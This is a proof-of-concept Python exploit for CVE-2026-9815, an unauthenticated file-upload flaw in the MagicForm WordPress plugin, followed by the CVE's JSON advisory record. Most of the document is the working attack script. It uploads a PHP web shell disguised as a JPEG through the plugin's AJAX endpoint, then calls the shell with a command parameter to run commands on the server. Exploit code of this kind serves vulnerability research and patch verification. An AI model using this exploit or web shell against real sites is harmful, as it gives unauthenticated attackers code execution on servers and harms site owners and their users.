CVE-2026-9815

# CVE-2026-9815 PoC - MagicForm WordPress Plugin Unauthenticated File Upload # Exploits missing file type validation when extension allowlist is empty import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Find a form with file upload field that has empty extension allowlist # This is typically discoverable by visiting pages with MagicForm forms # and inspecting the form configuration # Step 2: Craft malicious PHP payload disguised as an image PHP_PAYLOAD = b"<?php echo 'CVE-2026-9815-RCE'; system($_GET['cmd']); ?>" # Step 3: Upload the PHP file via the unauthenticated AJAX action files = { 'file': ('shell.php', PHP_PAYLOAD, 'image/jpeg') # Spoofed MIME type } data = { 'action': 'magicform_upload', # The AJAX action handler 'form_id': '1', # Target form ID 'field_id': 'file_upload_1' # File upload field with empty allowlist } # Send unauthenticated upload request response = requests.post(AJAX_ENDPOINT, files=files, data=data) if response.status_code == 200: # Step 4: Extract uploaded file path from response import json result = response.json() uploaded_path = result.get('data', {}).get('url', '') print(f"[+] File uploaded successfully: {uploaded_path}") # Step 5: Execute the uploaded PHP shell shell_url = f"{TARGET_URL}{uploaded_path}?cmd=id" shell_response = requests.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print(f"[-] Upload failed: {response.status_code}") # Note: The exact AJAX action name and parameters may vary # depending on the specific MagicForm version and form configuration. # Researchers should inspect the plugin source code or browser # network requests to identify the correct parameters.

{"cve": {"id": "CVE-2026-9815", "sourceIdentifier": "[email protected]", "published": "2026-06-18T08:16:34.590", "lastModified": "2026-06-18T14:17:37.377", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MagicForm WordPress plugin through 0.1.3 does not properly validate the type of files uploaded through an unauthenticated AJAX action when a form's per-field extension allowlist is left empty, allowing unauthenticated attackers to upload PHP files and execute arbitrary code on the server."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "MagicForm", "defaultStatus": "unknown", "versions": [{"version": "0", "lessThanOrEqual": "0.1.3", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-18T13:15:01.241479Z", "id": "CVE-2026-9815", "options": [{"exploitation": "poc"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/043f449f-fc65-4218-83d2-7742e62f2af3/", "source": "[email protected]"}]}}